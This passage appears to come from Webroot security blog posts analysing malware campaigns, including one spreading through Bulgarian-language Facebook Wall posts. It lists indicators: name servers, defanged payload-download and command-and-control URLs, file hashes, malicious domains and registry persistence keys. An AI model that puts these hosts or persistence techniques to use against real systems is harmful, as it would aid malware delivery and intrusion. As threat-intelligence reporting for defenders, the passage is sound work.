Name server: **ns2.exiansik.ru** – 41.168.5.140
Name server: **ns3.exiansik.ru** – 42.121.116.38
Name server: **ns4.exiansik.ru** – 110.164.58.250
Name server: **ns5.exiansik.ru** – 210.71.250.131
Name server: **ns1.ewinhdutik.ru** – 62.76.40.244
Name server: **ns2.ewinhdutik.ru** – 41.168.5.140
Name server: **ns3.ewinhdutik.ru** – 110.164.58.250
Name server: **ns4.ewinhdutik.ru** – 210.71.250.131
Name server: **ns5.ewinhdutik.ru** – 203.171.234.53
Name server: **ns1.efjjdopkam.ru** – 62.76.40.244
Name server: **ns2.efjjdopkam.ru** – 41.168.5.140
Name server: **ns3.efjjdopkam.ru** – 110.164.58.250
Name server: **ns4.efjjdopkam.ru** – 210.71.250.131
Name server: **ns5.efjjdopkam.ru** – 203.171.234.53
Name server: **ns1.eipuonam.ru** – 62.76.40.244
Name server: **ns2.eipuonam.ru** – 41.168.5.140
Name server: **ns3.eipuonam.ru** – 110.164.58.250

Name server: **ns4.eipuonam.ru** – 210.71.250.131
Name server: **ns5.eipuonam.ru** – 203.171.234.53
Name server: **ns1.emaianem.ru** – 62.76.40.244
Name server: **ns2.emaianem.ru** – 41.168.5.140
Name server: **ns3.emaianem.ru** – 110.164.58.250
Name server: **ns4.emaianem.ru** – 210.71.250.131
Name server: **ns1.epionkalom.ru** – 62.76.40.244
Name server: **ns2.epionkalom.ru** – 41.168.5.140
Name server: **ns3.epionkalom.ru** – 110.164.58.250
Name server: **ns4.epionkalom.ru** – 210.71.250.131
Name server: **ns5.epionkalom.ru** – 203.171.234.53
Name server: **ns1.disownon.ru** – 62.76.185.169
Name server: **ns2.disownon.ru** – 41.168.5.140
Name server: **ns3.disownon.ru** – 42.121.116.38
Name server: **ns4.disownon.ru** – 110.164.58.250
Name server: **ns5.disownon.ru** – 210.71.250.131
Name server: **ns1.estipaindo.ru** – 62.76.40.244
Name server: **ns2.estipaindo.ru** – 41.168.5.140
Name server: **ns3.estipaindo.ru** – 110.164.58.250
Name server: **ns4.estipaindo.ru** – 210.71.250.131
Name server: **ns1.ejiposhhgio.ru** – 62.76.40.244
Name server: **ns2.ejiposhhgio.ru** – 41.168.5.140
Name server: **ns3.ejiposhhgio.ru** – 110.164.58.250
Name server: **ns4.ejiposhhgio.ru** – 210.71.250.131
Name server: **ns5.ejiposhhgio.ru** – 203.171.234.53
Name server: **ns1.epilarikko.ru** – 85.143.166.174
Name server: **ns2.epilarikko.ru** – 41.168.5.140
Name server: **ns3.epilarikko.ru** – 42.121.116.38
Name server: **ns4.epilarikko.ru** – 110.164.58.250
Name server: **ns5.epilarikko.ru** – 210.71.250.131
Name server: **ns1.damagalko.ru** – 62.76.185.169
Name server: **ns2.damagalko.ru** – 41.168.5.140
Name server: **ns3.damagalko.ru** – 42.121.116.38
Name server: **ns4.damagalko.ru** – 110.164.58.250
Name server: **ns5.damagalko.ru** – 210.71.250.131
Name server: **ns1.emalenoko.ru** – 62.76.40.244
Name server: **ns2.emalenoko.ru** – 41.168.5.140

Name server: **ns3.emalenoko.ru** – 110.164.58.250
Name server: **ns4.emalenoko.ru** – 210.71.250.131
Name server: **ns1.epiratko.ru** – 85.143.166.174
Name server: **ns2.epiratko.ru** – 41.168.5.140
Name server: **ns3.epiratko.ru** – 42.121.116.38
Name server: **ns4.epiratko.ru** – 110.164.58.250
Name server: **ns5.epiratko.ru** – 210.71.250.131
Name server: **ns1.evujalo.ru** – 85.143.166.174
Name server: **ns2.evujalo.ru** – 41.168.5.140
Name server: **ns3.evujalo.ru** – 42.121.116.38
Name server: **ns4.evujalo.ru** – 110.164.58.250
Name server: **ns5.evujalo.ru** – 210.71.250.131
Name server: **ns1.bananamamor.ru** – 62.76.186.24
Name server: **ns2.bananamamor.ru** – 41.168.5.140
Name server: **ns3.bananamamor.ru** – 42.121.116.38
Name server: **ns4.bananamamor.ru** – 110.164.58.250
Name server: **ns5.bananamamor.ru** – 210.71.250.131
Name server: **ns1.eminakotpr.ru** – 62.76.40.244
Name server: **ns2.eminakotpr.ru** – 41.168.5.140
Name server: **ns3.eminakotpr.ru** – 110.164.58.250
Name server: **ns4.eminakotpr.ru** – 210.71.250.131
Name server: **ns5.eminakotpr.ru** – 203.171.234.53
Name server: **ns1.dfudont.ru** – 62.76.185.169
Name server: **ns2.dfudont.ru** – 41.168.5.140
Name server: **ns3.dfudont.ru** – 42.121.116.38
Name server: **ns4.dfudont.ru** – 110.164.58.250
Name server: **ns5.dfudont.ru** – 210.71.250.131

Sample malicious payload dropping URL: *hxxp://202.72.245.146:8080/forum/links/public_version.php?mmltejvt=1g:2v:33:2v:2w&pstvw=3d&xrej=1j:33:32:1l:1g:1i:1o:1n:1o:1i&vczaspnq=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Sample client-side exploits served: *CVE-2010-0188*

Upon successful client-side exploitation, the campaign drops **MD5: 04e9d4167c9a1b82e622e04ad85f8e99** – detected by 31 out of 46 antivirus scanners as Trojan.Win32.Yakes.cdxy.

Once executed, the sample creates the following Registry Keys:
HKEY_LOCAL_MACHINESYSTEMControlSet001ControlMediaResourcesmsvideo
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlMediaResourcesmsvideo
HKEY_CURRENT_USERSoftwareMicrosoftMultimediaDrawDib

And modifies them in the following way: *[HKEY_CURRENT_USERSoftwareMicrosoftMultimediaDrawDib] -> vga.drv 640x480x32(BGR 0) = "31,31,31,31"* *[HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWinlogon] -> shell = "explorer.exe,%AppData%skype.dat"*

Once executed, the sample phones back to the following URLs: *hxxp://gpbxn.ru/rzprxtgxtyebms-qtda-nmxt-ndfvohvndd-cbdh-qtorpp-fprg-sdqj-yszh-vnamvylalipbpyykeawkdastftukky.php*
hxxp://jhlxk.su/oyxioyxi-oyxioyxibcvnosrqqrprar-nbjk-ndelquqjoheyowmsndxp-ltwgysxixsnnceksdm_rzbi_aumr-ysix.php
hxxp://gpbxn.ru/itqukqcbkydftmysmrrqfqnbptfpxlyedapffv-uqxfakkoqp-orzmsd-cupz-atqc_ybeh_ohtfsi-ykjz_prdmuq-yk.php
hxxp://jhlxk.su/cnpmezeamv-kort-ioou_wkzjvr-alpb-cuqsfv-lipt_nhuk-jzgx-acix_abgn-fvca-oept-zhgjtmqtdnkg-pvzo-zauuqk-.php
hxxp://gpbxn.ru/rkow-pvpz-turnndgkgnrueglazvrdqzmvdhsukgcuzjyxofuynn-kkhj-wpli-lxca-auwbybppplyjouiivnno_xf.php *hxxp://jhlxk.su/qnjt-ixjxqnjtixjxyeppoycn-qzgb-gbihspkftiqu-syqtdhxydk_zozm_dkgbsprnxljz-quplhcpixo-rzdm-zvyx-.php*
hxxp://gpbxn.ru/rnnd-gkjkpp-phacuypfsrhcawshpi-prmx-nfuyqzdnxopygt-pyko-acus-tugaxfiqegybqcdheabi-zmiirkculi.php
hxxp://jhlxk.su/my-nsoe-exjlbwipnafquq-nbqk-cglx-cexcdaykcn_baohzaiirkfy-qzdn-gdva_yhlzif-jtca-cgclrcnlgkpvfcxx.php
hxxp://gpbxn.ru/piqjteitqukqcbkyvyteptofxpxsyerksrfmvp-jpjxej-uswi-kkjl-xytewpegnezjsuon-ownq-xcbt_xqyb_uxeh.php
hxxp://jhlxk.su/lajutfofnoygfq-uomyor-lxpqnqwpzvawsn-kyst-nfmpmpsuarkdsulz-lgtmnwabjtcj-aueblmifioiqvkoarn.php
hxxp://gpbxn.ru/ebmsqtusqzukwgrgky-shpicusygkppuavaca-cnfq-ddsu_ynorjkllgoon-juns-goyhcgyjzmlg-rzpq-qpjt_xvuq.php

hxxp://jhlxk.su/ip-nadw-wipqne-ytmx_bldr-lzht-cjro-lgty-qcky-coprzrjwalpz-myteez-owwk-suab_bcjt_nojt_ysnakb-jkos-fyzj-.php
hxxp://gpbxn.ru/vy_vlcu-opvk-dgks-babc-ixgsuy-nqey-cjjh-eaxtzriioasd-jgnd_rcea_fcoudf-kktiezfpwp-phon_jtea_dgamzhga.php
hxxp://jhlxk.su/hjyqybti-sddn-xocq-ohlx-osgt-gdhcrnyqvqukclyx-fyjk-oxoy-nwsn_oxmr_glwk-nmqn-vyac-pbrtmyvafappnlea.php
hxxp://gpbxn.ru/igyhva-xlsyft-xplx-rizh-yszn-ltli-wpnstmspdanqmy_qsqj-cqjkfzgdwfuy-garalabwyear_ouabdhldcbuqjp.php
hxxp://jhlxk.su/jutf-ofnoygfquobi-jtbilmrdpixp-pabcdnstos-dhti_ohjp_pyqt-mvkdsiqttykfgs-lirkfc-zhxl-gjyhzvhelx.php
hxxp://gpbxn.ru/pt-ptptptptptptptuqmpbhjlstusplfmgtdh_xyuyms-ofvizovqqcxohemp-mpzv-vlit-nhne_htuqvl-yxph-zjuu-.php
hxxp://jhlxk.su/ipna-dwwi_pqneytmxbldrlzht-cjro-lgtyqckycoprzrjwalpzmyte-ezowwk-suabbcjtno-jtys-nakb-jkos-fyzj-.php
hxxp://gpbxn.ru/uqfplgsncexczjddtybaonfcybioiisimyprmvxvea-laxvjvfzpv-oatu-gdoe-bafrqkstkgowitbfblsujguo-.php
hxxp://jhlxk.su/sncexczjddongdqkpaoyvnxtdm-qtqu-yvvpbtgxfrynwg_dkspqposoaohqt-ouvqtixoxxvacg-xqte_ofzj-xcfr-.php
hxxp://gpbxn.ru/mpfmgnlt-blcrkgoxopelar-uaop-vtrp-lmcd-juosvalzoaqt-xplx-siwkcokqnssu_nskq_uavi_jhvpca-owdgab-jz.php
hxxp://jhlxk.su/bihc-kkrq-shgscdnbuulx-qcipvtcaaw-lxzm_ygxt-ygyxpacenosdvybhnbwinaixoykdxqduxpdunwnhxlyvbi.php
hxxp://gpbxn.ru/cd-nbvpherovnvy-vlxsrnitlzorjthtldkoxqfccd-frjuzmgtjp-dmbc-bwau-bccdsnohezwidmduqtzhbqrn-nn.php
hxxp://jhlxk.su/vqsrznyjbqricoarxplasiuu_fqye_dfuq-qcrtddfzroxowgowix-ygnmllrpabus-gkfzjxoxjxopplitzvkfla.php
hxxp://gpbxn.ru/nfwfmrhttwwp-wbjg_bwms-iqdwqcliop-nlos-qpuanfmrndzo-kots-ppjt-akzmgncjgdorouohabfv-bhhtrpaccn.php
hxxp://jhlxk.su/jkpp-phacuyqckfouvlznkg-rquxjgstybditmbwtmixacyehe-uaejcbvpxfjkgdgxiffzxtfaebbwviqj-qsip-.php
hxxp://gpbxn.ru/zh-rubt-oahjyqybtiybnesncnofstdforqn-awpf-ptcqfmsuqzgdlxusif-ftybuozacnvnsnosnfnaneye_akea.php
hxxp://jhlxk.su/ppph-acuy-qckfougjlznw_bipbnf-ifgdvylzshsdigsuuynmqrybptzm_kkxttm-ioqsfyrchcvrop-kdip_oajvpi.php
hxxp://gpbxn.ru/zv-yxpajheluqfp-lgii-ynyvvpjkoaeg-ksxi-tsioygzrxcytvqzvhezmjtmppftmosit_qrks_xotf_ptnaqugbcq.php

hxxp://jhlxk.su/itqukqcbkydf-tmysmr-rqfq-nbpt-fpxl_yeda_pffv_uqxfak-koqporzmsdcupzatqcybehohtfsiykjzprdm-uqyk.php hxxp://gpbxn.ru/zmfrqsrafyabdiii-xpkkxj-exsu-pbbtuk-oait-llar_rukf_jtsi_yttsjw-fvfr-qzsplgtuosdwjh-ruyb-rtne-kgif-.php hxxp://jhlxk.su/oa-hjyqybtisddnxojgtskorpvqvrdgksauqkddxxrc-elpaehsdceal-alfz_oyoamr-dgqs_xjyt-cnxignohzhqt.php hxxp://gpbxn.ru/vl-cuopvkdgksba_fvux-ytfpygzvbtbidg-dadrlxacmxjponvtfvcbfr-dnprauzmsrnfdk-ltju-alkbpqxlcqll.php hxxp://jhlxk.su/mynsoeexjlbwip-nafquqnbqkcglxcexcda_ykcn_baohza-iirkfyqzdngdva-yhlzifjtcacgcl-rcnl_gkpvfc-xx.php hxxp://gpbxn.ru/ux-mpfmgnltblcrkg-tinf-rpty-jhynuyhctycuzmtfzmspatipky-qkmrtuauzallcj-kqftkytwmrgl-zvfvey-sy.php hxxp://jhlxk.su/ougjyv-xvak-uakbegmvezzafabieyoszmpfnwcb-tmgari-tyrnjzcaqsgs_mswfnd-dhkqzv-snptpynqldbqioxt.php hxxp://gpbxn.ru/uxmpfmgnltbl-crkg-tinfrptyjhyn-uyhcty-cuzm-tfzmspatipkyqkmrtuauzallcjkqftky-twmrglzvfveysy.php hxxp://jhlxk.su/ar-zmfr-qsra-fyabdimvzvmsyxuojz-laebalcuzryeyeuqrnrk-pyzj-fzqnqkzadiihtugoxl-tufthealmsvasn.php hxxp://gpbxn.ru/sddn-xocq-piqjteitdwyvfmatqc_akgn-xqsnmxqzcahtjzyjftznqz-yjor-kdrqdrakvyms-cbdwrncolljhjuam.php hxxp://jhlxk.su/vaxlsyft-xplx-stzhit-qnzn-vaea-wfbwihytzjfp-ehehnlhtiivy-zjcaorjzyttempli_kovy_pfkddk-abht-opxf-.php hxxp://gpbxn.ru/wfmrht-twwp-wbjgnfgnebwbjpkoxc-prkdyv-jptm_ejzh_pyxoehpvgkbh_jhgkdivqzaoygsammxakdw_fmixzoez.php hxxp://jhlxk.su/kk_rqshgs-cdnb-vphe-rprd_pqez_bwalbquqjtradnejtsak-lamsfvqcmrejifqkbtkfeh_prnbuk-ykzo-zjkf-viyh.php hxxp://gpbxn.ru/xyawrkowpvpztu-rnjp-cjopouzasnxcjgyjiogbna_nnix_xtkbcu-bijgbqjxvtositpzxypq-gapvejrdmyoxfy.php hxxp://jhlxk.su/ih_zovr_dmih-zovrdmxcnwrialroju-iocu-rulaga-gbeh-kqnornvionpisyspxqruyeyvpixlvifmft-kygkawjx.php hxxp://gpbxn.ru/teitqukqcbkydftm_htra_eygo-usgnlmzhtevlrk-owxyiojuehcj-wksh_auoy-rpbajxrocgdrvajxitlidr-exip_.php hxxp://jhlxk.su/mynsoeexjlbwipnafq_uqnb-qkcg-lxce_xcda_ykcnba-ohzaiirkfy-qzdngdvayhlzifjtcacgclrcnlgkpvfcxx.php hxxp://gpbxn.ru/kq-cbky-dftmys-glga_ohtm-

vrqswprpvqmslmatdwgtzmbhkggtukuu-cbyt-yquu-wfptjkpflxmxkq-
qjllhcrgko.php hxxp://jhlxk.su/ygfquobihc-kkrq-shjppf-ifytxf-wixv_gtxp-
bfceoxyvht-ddshqs-pbfq_rcli-gbalxcauriebhtxyqkwfprwgkd.php
hxxp://gpbxn.ru/opvk-dgksbafvsudu-
jhvinsrogojlnhsikgofgbuyqkkfrixvfrdmvnsuhtehifnsky-jxwk_dniiys-
bwraeb-of.php hxxp://jhlxk.su/exjlbwip-nadwwipqrqtswblmfp-
vifayqwfioxtyquabi-cnfm-osel-fcli_rqjtearzhcac-vkoaxqpypp-
qnnnlm-.php hxxp://gpbxn.ru/vaxlsyftxplxstzhitqnzn-vaea-
wfbwihytzjfp-eheh-nlhtiivyzjcaorjzytte_mpli_kovypf-kddk-abht-
opxf-.php
hxxp://jhlxk.su/ifej_dapl_jvzvyxpaoaih_pqgx_ipiisilipmohowoewiacxx
plshsntiuoxopyhelisybhsn-kkms-vlbc-ukmxfp.php
hxxp://gpbxn.ru/ygfquobihckk-rqshjppfifytxf-
wixvgtxpbfceoxyvhtdd_shqspbfqrcligbalxcauriebhtxyqkwfprwgkd.php
hxxp://jhlxk.su/lz-lipbux-mpfmgnltwpdmmpli_dudf-tfih-
oari_bhgo_elixawdnrgcdzjra-jgsd-yjnw-korojuysdh-ykpynekqlt.php
hxxp://gpbxn.ru/bqricoarzmfrqsracewg-paruoxhjmy-
oxvi_ptopbajpehgsnl-culg-eaxfli-lagdcaptrgfq_itvasd-gtwk-gaqn-.php
hxxp://jhlxk.su/jgnf-wfmrhttwwp-wbxo_hjii-xfbh-kqfcjujkgacg-zngt-
vnce-xvwkjwnsgd-godu-pmqzceftrgcrkqjgdgnn_mxfq-.php
hxxp://gpbxn.ru/noygfquobihckkrqwfuocllgdh-
zrouipdurqlililakyzvsrcjjurqxopfipauabqu-wfba-kbegzjyvqjbhvl.php
hxxp://jhlxk.su/gjyv-xvakuakbeg-
nldg_zmexcunhwiosxfsugspqearomy_pycu-dwys-
xvvykseyfr_spuq_dnfc_osjthtllkdonxj.php hxxp://gpbxn.ru/kfougj-
yvxv_akuakbigohzhxowiezzjbigddh-ytxsbwexsy-
exdmcbatehgnyqcnjxsujl_hjpzglfpzhdkkb-ih.php
hxxp://jhlxk.su/nnrpfaau-xfjwbheynblxqt-
gofqtmqcnmignhhceluujgaclzvpawyvpikykqykoullzvlzclbteh-
nliivqoy.php hxxp://gpbxn.ru/kydf-
tmysglgajzqrdrtwjtqtoehjnlllzvuastnsmrakiixcsuxscqrdgoppjxoreakq-
mytsamwfpq-qczjgj.php hxxp://jhlxk.su/opvkdgksbafvsudujh-vins-
rogo-jlnhsikgofgbuyqkkfrixvfrdmvnsuhtehifnskyjxwkdn-iiys-bwra-
ebof.php hxxp://gpbxn.ru/on-gdqk-kdvttsorqpamqp_zvysxs-nmqc-
rgyx-fvhj-zrrnbtatfcqcawquvkwfej-gncjit-vtsn-fqpi-bcyn-yxclgb-.php
hxxp://jhlxk.su/hjyqybtisddnxocqohlxosgtgdhcrnyqvqukclyx-fyjkox-
oynwsnoxmrglwknmqnvyacpbrtmyvafa-ppnl-ea.php

hxxp://gpbxn.ru/kb_egnlxj-igyh-vaxltyegnwtwykyhtsifoegdglxf-
xixliquqdnqpfcxpfapf-ebvl_earqqu-lmmsqp-kfnemynd.php
hxxp://jhlxk.su/nwamrdmynsoeexjlliiolt-bqvnebpytico_oxua-egig-
linbllcornxjowzrgkrztuexux-ebop-qnjxaratuqvi.php
hxxp://gpbxn.ru/nn_rpfaau-xfjwbheynblxqtgo-fqtm-qcnm-ignh-hcel-
uujgaclzvpawyvpikykqykoullzvlz-clbtehnliivqoy.php
hxxp://jhlxk.su/ba-fvsuducalaju-tfig_ampvkqyxfyuu-uszvbc-
nodkjkdusp-rtla-xcey-amlm-jwzmdiuonfno-xjglvlusigtfpm.php
hxxp://gpbxn.ru/yvxvakuakbeg_nlxj_caoy_vpkdjxqsdfnwfzhecoshegu
ssi-dkcr-nfjw-cjfm-btii_fqjgxq-jvftqr-rduqjzoapb.php
hxxp://jhlxk.su/dg_ksba_fvsu_duca_layxlitmuqxoynfqpmpf_xvty-
rceacdcnrq-vnco-rkwb_nqyt-blfvukoftwks-cjlauu-eaqp-mv.php
hxxp://gpbxn.ru/bcgocnpmez-eamv-kons-ksaw_yjvl-xpyb-gkjw-
nwjukbcbsh_bqfy_ebxoyv-ykbqatdirkoejtqj_pbpq_lzdk-jkrq-bh.php
hxxp://jhlxk.su/amrdmy-nsoeex-jlbwndftcajvgnabjgfqvtsnfc-
nhyt_gtejshfcdgsu-rnuypzduns_egye-mpgojhoekfnnyjhc-.php
hxxp://gpbxn.ru/bafvsuducala-jutf-igampv-
kqyxfyuuuszvbcnodkjkdusprtla-xceyamlmjwzmdiuonfnoxjglvlus-
igtfpm.php hxxp://jhlxk.su/owpvpzturn-
ndgkjkdhro_fyfzzokbofoaxlbfonsngbkdwgbl-ofqzfmoakf-yjqr-
dfro_osvl-rggbouplallt-rg.php
hxxp://gpbxn.ru/yv_xvakuakbegnlxj_caoy_vpkdjx-qsdfnw-fzheco-
sheg-ussi-dkcr_nfjw-cjfm-btii_fqjg-xqjvftqrrduq-jzoapb-.php
hxxp://jhlxk.su/gocnpm_ezea_mvkortcdranq-jvtuqjuodmbqiifpca-
dwptpqpioa_xcsh-lxgbmrwigbakpvrg-pisyegnoxymp_ru.php
hxxp://gpbxn.ru/xo-cqpi-qjteitqukqrz-zjqrxfxqgjuy-cnns_ihuo_nlxxda-
oukk-tsbauq-uykb_uudi-bwiqbwynof-jkuo-znawkgux.php
hxxp://jhlxk.su/bqricoarzmfrqs-racewg-paru-oxhjmy-oxviptopbajpeh-
gsnl-culgeaxflilagdcaptrg-fqitvasdgt_wkga_qn.php
hxxp://gpbxn.ru/egnl-xjig-yhva_xlsy_uyruvr-uoyq-pyrp-ynht-gkce-
cejkbhmsxliq-phatlzgnfcxlpa-fzxp-ukwbeayhrkzmnlit.php
hxxp://jhlxk.su/ndgkjkppphacuyqcipduyhmy-ladr-fcbayh-cdcn_tmppft-
gxyt-pvvkkkrqartsorquxxrannygiicnkfyq-owjv.php
hxxp://gpbxn.ru/calajutf_ofnoyg-fqih-wgti-ehjg-ybdm-jvcaru-
tmwiybnsnb-jzey_mrowxl-bljh_jlpm-bfof-gsnq-cncq-ybzm-fyvr.php
hxxp://jhlxk.su/ihzo-vrdmihzovrdmxc-nwrialroju-iocurulagagbeh-
kqnornvion_pisy-spxq-ruyeyvpixlvi-fmftkygkawjx-.php

hxxp://gpbxn.ru/rd-mynsoeexjlbwiptivtynddlgcdllusmrqngkac-pzjwjwblpaihkq-lgmpifiqbans-almrtiplop-ybsd-xpuo-.php
hxxp://jhlxk.su/wkcl-albc-gocnpmezsycqxqftuy-tuqz-qkampyytcbfmio-pikq-xilmpaihcagbmpzayv-ytvq_vayx_cjxjjz-jxdw.php
hxxp://gpbxn.ru/atrz_prxtgxtyebmsjwop-phkd-dayedavyqsyx-mxmy-kodw-ndfclldadrna-ebybtsqnrkifcojzqsbwuq-xfheuy.php
hxxp://jhlxk.su/rafy-abdi_iiye_ohif-syph-vtmvyjohhetmnolg_kopvqkfzgoejaw-qrvl-fyuumvawph_vrwkvliimpuqwbfyraht-.php
hxxp://gpbxn.ru/btoahjyq-ybti-sddn-tugl-koty-nbvq-dfjvrodhejgajxkqpaoaspnbkkkfcartgxnexozhoyuarg_nlpa_expq-rt.php
hxxp://jhlxk.su/rp-faau-xfjw-bhey_vixv-rpld-vripyh-cgvicq-orcjam-awegihrgyqphvp-kbam-qtvq-fykq-jubqlxfysusivqht-ft.php
hxxp://gpbxn.ru/rnnd-gkjkppphacuypfsrhcawsh-pipr-mxnfuyqzdnxo-pygt-pykoacustu_gaxf-iqegybqcdheabizmiirkculi.php
hxxp://jhlxk.su/uobihckkrqsh_gscdpt-yxuu-spwi-xitept-gngauomsvamrph-hcmypy-ldnn-rnzrkyjkosel-mpoujuvtsidizjkf.php
hxxp://gpbxn.ru/my-nsoe-exjl-bwipnafquqnbqkcglxcexc-daykcnbaoh_zaiirk-fyqz-dngdva-yhlzif-jtca-cgcl_rcnlgk-pvfc-xx.php
hxxp://jhlxk.su/jpfc-gtdh-xsdknqzapzvqzrteejixuaplpbtivpcjvpyh-qkeb_sdnoqr-oeca-biorehsrbt-ehuy-tmybza-wipfcj-.php
hxxp://gpbxn.ru/fplgsncexc_zjddonjufzna-gdfrtycjukonxvruuqawpmti-yjnawbgarc-xcsh-rgqzzvjlexrkmxzofckgdi-di.php
hxxp://jhlxk.su/duca-laju-tfofno-ygsi-exnd-wfjt-banafqpbpmos_oskyaknstiqtehjziqukfqltba-ykmvnniosdlzzncg-fqju-.php
hxxp://gpbxn.ru/akua-kbegnl-xjig-yhclpq-sypa-runo-plpmcq-gadk-ruramrkdvnfq-ohjh-mvxleg-ukcdsy-ofox-onqz-syqt-ksxf-ts.php
hxxp://jhlxk.su/dftm-ysglgajzqrpftfoaxj-fzco-uofp-dwon-jtrpqtnmlllxoeuoga-itwk-rngkfrzrxpptcqfcuujplixc-ykvr.php
hxxp://gpbxn.ru/rq_shgscdnbvphero-pyga_vnnete-fmkk_rgiivkfaxjfpejoy-bczokqatno-mvdk-zmbf-cbtf_itnsxoqznenopl-vq.php
hxxp://jhlxk.su/jxqn_jtixjxqnjtixjkcqstll-elvpgn-jplikqbluu-dicbukitiokq-xonh-iioynovnbqtedd_xlbt_jtwi-ipmyal.php
hxxp://gpbxn.ru/calajutfofnoygfqihwgtiehjgybdmjv-caru_tmwi_ybnsnb-jzeymrowxlbljhjlpmbfofgsnqcn-cqybzmfyvr.php
hxxp://jhlxk.su/bihckkrqshgs-cdnb_uulx_qcipvtcaawlxzm-ygxtygyxpace-nosdvybhnbwinaixoykdxqduxpdu-nwnh-xlyv-bi.php

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malware propagates through localized Facebook Wall posts - Webroot Blog

facebook linkedin twitter

We've recently intercepted a localized — to Bulgarian — malware campaign, that's propagating through Facebook Wall posts. Basically, a malware-infected user would unknowingly post a link+enticing message, in this case "*Check it out!* ", on their friend's Walls, in an attempt to abuse their trusted relationship and provoke them to click on the malicious link. Once users click on the link, they're exposed to the malicious software.

More details:

Sample screenshot of the propagation in action:

Sample spamvertised URL appearing on Facebook users' Walls: *hxxp://0845.com/fk7u*

Sample redirection chain: *hxxp://0845.com/fk7u -> hxxp://connectiveinnovations.com/mandolin.html?excavator=kmlumm -> hxxp://91.218.38.245/imagedl11.php*

Sample detection rates for the malicious executables participating in the campaign: *hxxp://91.218.38.245/imagedl11.php* – **MD5: 1ad434025cd1fb681597db80447290e4** – detected by 23 out of 46 antivirus scanners as Backdoor:Win32/Tofsee.F
hxxp://91.218.38.245/imagedl11.php – **MD5: 95a29c9652accb0b66036f026b6c85da** – detected by 16 out of 46 antivirus scanners as Trojan-Dropper.Win32.Dorifel.zek
hxxp://91.218.38.245/11c.exe – **MD5: 6807409c44a4a9c83ce67abc3d5fe982** – detected by 30 out of 46 antivirus scanners as Trojan-Dropper.Win32.Dorifel.ypu
hxxp://91.218.38.245/10c.exe – **MD5: c032551a9c917af3a33dd48dfb68807c** – detected by 37 out of 46 antivirus scanners as Trojan-Ransom.Win32.Gimemo.atzi
hxxp://91.218.38.245/4c.exe – **MD5: 11bc0e87a3a71ed39d070eb8c8c66368** – detected by 22 out of 45

antivirus scanners as Backdoor:Win32/Tofsee.F
hxxp://91.218.38.245/2c.exe – **MD5: 851429df461b2f5787cdfbdc0e525bfc** – detected by 6 out of 46 antivirus scanners as Artemis!851429DF461B
hxxp://91.218.38.245/6c.exe – **MD5: cd7c00403703ff2f97c92673464a9749** – detected by 35 out of 46 antivirus scanners as Trojan-Ransom.Win32.Gimemo.atzi
hxxp://91.218.38.245/9c.exe – **MD5: ff7a64bee4dda13251988f77e2bccfc4** – detected by 38 out of 46 antivirus scanners as Trojan-Ransom.Win32.Gimemo.atzi
hxxp://91.218.38.245/8c.exe – **MD5: 2d4c5b95321c5a9051874cee9c9e9cdc** – detected by 38 out of 46 antivirus scanners as Trojan-Ransom.Win32.Gimemo.atzi

Responding to this IP (91.218.38.245, AS197145 Infium Ltd.) are also the following malicious/fraudulent domains: *fblegit.tf wlvfzs.swansdown.co.uk darai.info aqfswt.darai.info ruination.info cbrjy.ruination.info wwmgsn.fblegit.yt ghgxsbsd.funche.eu lwvk.funche.eu annafi.eu pyju.chickon.eu kntg.dianabo.eu forgather.eu proconsul.biz technical.name fblegit.tf wlvfzs.swansdown.co.uk darai.info aqfswt.darai.info ploughman.info ruination.info cbrjy.ruination.info otplh.fblegit.yt wwmgsn.fblegit.yt ghgxsbsd.funche.eu lwvk.funche.eu pyju.chickon.eu kntg.dianabo.eu housefather.eu forgather.eu seductive.proconsul.biz metricize.net overcapitalise.com ploughman.info proconsul.biz roodscreen.net ruination.info technical.name*

Sample behavioral analysis for the associated MD5s: MD5: 11bc0e87a3a71ed39d070eb8c8c66368 creates the C:Documents and SettingsAdministratortbdv.exe and C:DOCUME~1ADMINI~1LOCALS~1Temp1014.bat files on the affected hosts. It then phones back to **91.218.38.245** .

MD5: 851429df461b2f5787cdfbdc0e525bfc creates the C:Documents and SettingsAdministratorhhqpbnac.exe and the C:DOCUME~1ADMINI~1LOCALS~1Temp4628.bat files on the affected hosts. It then phones back to **91.218.38.245**

MD5: 2d4c5b95321c5a9051874cee9c9e9cdc creates the following file on the affected systems: %UserProfile%yzrpofko.exe. It also modifies the registry: [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] MSConfig = “”%UserProfile%yzrpofko.exe”, and phones back to **185.4.227.76** :443.

MD5: cd7c00403703ff2f97c92673464a9749 creates the following file on the affected hosts: %UserProfile%btewpzqa.exe. It also modifies the Registry: [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] MSConfig = “”%UserProfile%btewpzqa.exe”, and phones back to **185.4.227.76** :443.

MD5: c032551a9c917af3a33dd48dfb68807c creates the following file on the affected hosts: %UserProfile%asvkgzso.exe. It also modifies the Registry: [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] MSConfig = “”%UserProfile%asvkgzso.exe”, and phones back to **185.4.227.76** :443

MD5: ff7a64bee4dda13251988f77e2bccfc4 creates the following file on the affected host: %UserProfile%tpatewvi.exe. It also modifies the Registry: [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] MSConfig = “”%UserProfile%tpatewvi.exe” and phones back to **185.4.227.76** :443.

More MD5s are known to have phoned back to 91.218.38.245: MD5: 20057f1155515dd3a37afde0b459b2cf MD5: 665419c0e458883122a790f260115ada MD5: 1ea373c41eabd0ad3787039dd0927525 MD5: f3472ec713d3ab2e255091194e4dccaa MD5: 4d54a2c022dad057f8e44701d52fec6b MD5: 6807409c44a4a9c83ce67abc3d5fe982

As well as related MD5s phoning back to 185.4.227.76: MD5: 6b1e671746373a5d95e55d17edec5623 MD5: 377c2e63ff3fd6f5fdd93ff27c8216fe MD5: 2D4C5B95321C5A9051874CEE9C9E9CDC MD5: 3f9df3fd39778b1a856dedebf8f39654 MD5: 82e2672c2ca1b3200d234c6c419fc83a MD5: 796967255c8b99640d281e89e3ffe673 MD5:

